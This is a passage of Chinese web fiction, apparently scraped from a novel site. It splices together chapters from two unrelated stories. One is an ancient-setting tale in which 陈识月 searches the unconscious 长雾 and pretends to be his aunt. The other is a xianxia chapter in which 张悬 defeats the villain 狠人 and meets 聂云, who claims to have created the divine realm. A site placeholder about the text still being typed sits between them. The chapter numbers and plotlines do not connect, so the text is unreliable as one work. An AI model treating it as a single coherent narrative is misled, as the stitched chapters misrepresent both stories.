呵,我让你变成长工! 当然,陈识月也没那么心狠,自己醒来之后虽然忘却了不少事情,但长雾和长阴的确护着她,所以在这方面她还是有些感激的。 洞窟里的那些人,都不怀好意,能纵容她走出洞窟,自由在山中穿梭,少不得长雾的庇护,以及他身份的掩护。 陈识月凑近了两步,轻轻戳了戳长雾的面颊。 嗯,没反应。 很好。 下一刻,陈识月长长吐出一口气,唇角扬起坏坏的笑,“真是恶有恶报啊!” 那么接下来,就得看她表演了。 陈识月吃力的将长雾挪到了床榻上,避开了漏雨的那一头,免得雨水把他给冲醒,到时候可就不好收拾他了。 把人放平之后,陈识月开始搜身了。 本来就是大夫,只管把心态放平,便是眼中无男女,把长雾从头到脚的捋了一遍,一切物什都被她剥离出来,齐刷刷的摆在桌案上。 真没想到,这厮身上藏了这么多的东西,大概是为了便于行动,避免发出声音,都是一些纸包居多,还有些塞着头的小竹棍,不知道里面装了什么? 陈识月一边摸出来,一边嘀嘀咕咕,及至连他的鞋袜都检查了一遍,这才长长的吐出一口气,“应该没有了吧?” 大概是没了。 难保藏在阴暗处。 但没关系,绝命的东西才会藏在不轻易拿到的地方,日常所用一般都是触手可及为好,毕竟谁藏着毒药是为了藏着呢?肯定是为了能用,而且要顺手可用。 长雾还在昏睡,陈识月已经开始研究,这些东西到底都是什么? 好在,她的嗅觉极为灵敏,很多东西还是可以闻出味儿来的,仔细辨别,应该没什么问题,所以这些东西被分门别类之后,快速收入了陈识月的手中。 好东西嘛,肯定是要留为己用的。 陈识月刚收拾好了东西,便瞧着房顶又漏了一圈,那雨水刚好稀里哗啦的砸在了长雾的脸上,惊得陈识月慌忙用斗笠去遮挡。 但,还是晚了一步。 雨水冰凉,砸在脸上有痛意,虽然不至于苏醒,只是有些惊扰到了,让他发出了不舒服的哼哼唧唧声音。 如此动静,惊得陈识月那叫一动不敢动,就这么静静的站在原地好半晌,确定长雾没有醒转的意思,这才如释重负的松了口气。 没醒就好! 没醒就好! 陈识月又开始收拾那堆东西,不常用的全部收入随身的小包里,常用的都塞进袖中、怀中,把自身塞得满满当当。 如此这般,好似安全感十足。 陈识月嘿嘿一笑,真是好宝贝! 瞧着床榻上遮着斗笠,还在昏睡的长雾,陈识月小心翼翼的凑过去,轻轻掀开了他的面皮。 为什么不信任? 因为从一开始,她就看出来,长雾这张脸可能是假的。对方不愿意以真容示人,还口口声声我们是夫妻,怕是傻子都不会相信吧? 假皮面下面,是一张异于中原人的容脸,难怪要用假脸骗人,也不知道外人见着这张脸,会作何反应?这一出去,谁还不得……多看他几眼。 异域少年,五官分外立体。 虽然闭着眼,却也能感受到来自于异国他乡的风情。 陈识月的眉心突突跳,“长得还挺好看的,可惜……非我族类,其心必异!” 想了想,她深吸一口气,看着手中的这张皮,又默默的把他的假皮重新做了回去,不能让他生出别的心思来。 等着做完了这些事情之后,陈识月便在边上守着,她要用他的方式来回敬他。 当然,下这么大的雨,在陌生的山林中穿梭,即便是山脚下,也容易出事,何况山上那么多人,她可不想成为箭靶子。 长乐门的人还在搜山,偶尔到了山脚下,瞧着屋内有光亮也不敢靠近。 前几次,陈识月会在门后悄悄观望,后来发现他们是真的不可能进来,便也松懈下来,没有再死盯着不放。 雨是后半夜停的,剩下的是滴滴答答的声音,宛若催眠曲,正是好眠。 一睁眼,便是长雾神情迷茫的坐起来。 陈识月:“……” 来活了! “你醒了?”陈识月伸个懒腰,外面的天还没亮,但因为下雨的缘故,屋子里有些凉飕飕的,所幸炉子一直在燃着火,倒也不至于风寒侵体。 长雾一脸迷茫,“你……你是谁?” “我是你姨。”陈识月挺直腰杆。 长雾:“??” “大外甥,你不会脑子摔坏了吧?”陈识月皱起眉头,“这可如何是好,不就是滚下山坡吗?也不至于摔成了傻子呀!” 长雾狐疑的打量着她,然后低头打量着自己,“我是你外甥?” “对啊对啊!我是你小姨!”陈识月言辞凿凿,就跟当初长雾死活要说,他们是夫妻一样,语气分外坚定,眼神更是坚定得要吃人,“你娘临终前把你交托给我,我答应过她,一定会好好照顾你的。” 陈识月一本正经的胡说八道,说得那叫一个真真的。 “我娘?”长雾愣住。 陈识月连连点头,“没关系,你不记得了也没事,小姨会一直陪着你的。” 说着,她拍了拍他的肩膀,动作熟稔到了极致。 好像…… 真的是他的小姨。 “可我怎么瞧着,你似乎比我还年轻?”长雾坐起身来,推开了斗笠,瞧着还偶尔滴水的屋顶,默默的将斗笠戴上。 陈识月白了他一眼,“年轻还有错?我长得年轻不好吗?你摸着自己的良心问一问,这些年你吃我的喝我的,如今怀疑你我不是至亲,你心里亏不亏得慌?” “我……我不是这个意思!”长雾忙摆手,可脑子里一片空白,他也不知道该如何解释。 陈识月低哼一声,给他倒了杯水,“等到天亮了,就带你进城看大夫看脑子。” 第四百一十六章 终于回来了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百一十七章 不要脸的姑娘? 见着马车过来的时候,管家登时眼前一亮,险些喜极而泣,慌忙把马车往后巷引去,那边早已有人在等候,手忙脚乱的将马车上的人扶下来。 一个两个,狼狈不堪。 瞧着林序面如死灰,一动不动的样子,老管家差点就厥过去。再看着自家少将军靠在车壁处,勉强撑着一口气的样子,瞬间觉得天都塌了。 “少、少将军?”管家脸都白了。 年纪一大把,可经不起这么吓。 目光一扫…… 不对啊,姑娘呢? 月姑娘呢? 府医早就等着,乍一眼被抬进来的人,整个人都是懵的,醒过神来赶紧救人。 其他人倒也罢了,林序是最棘手的,还有那个怪人…… 林序的箭伤倒也罢了,他们这些在边关历经生死的人,又不是没经历过这些,但问题就出在这毒,血都快流干了,能留着一口气完全是因为林序年轻。 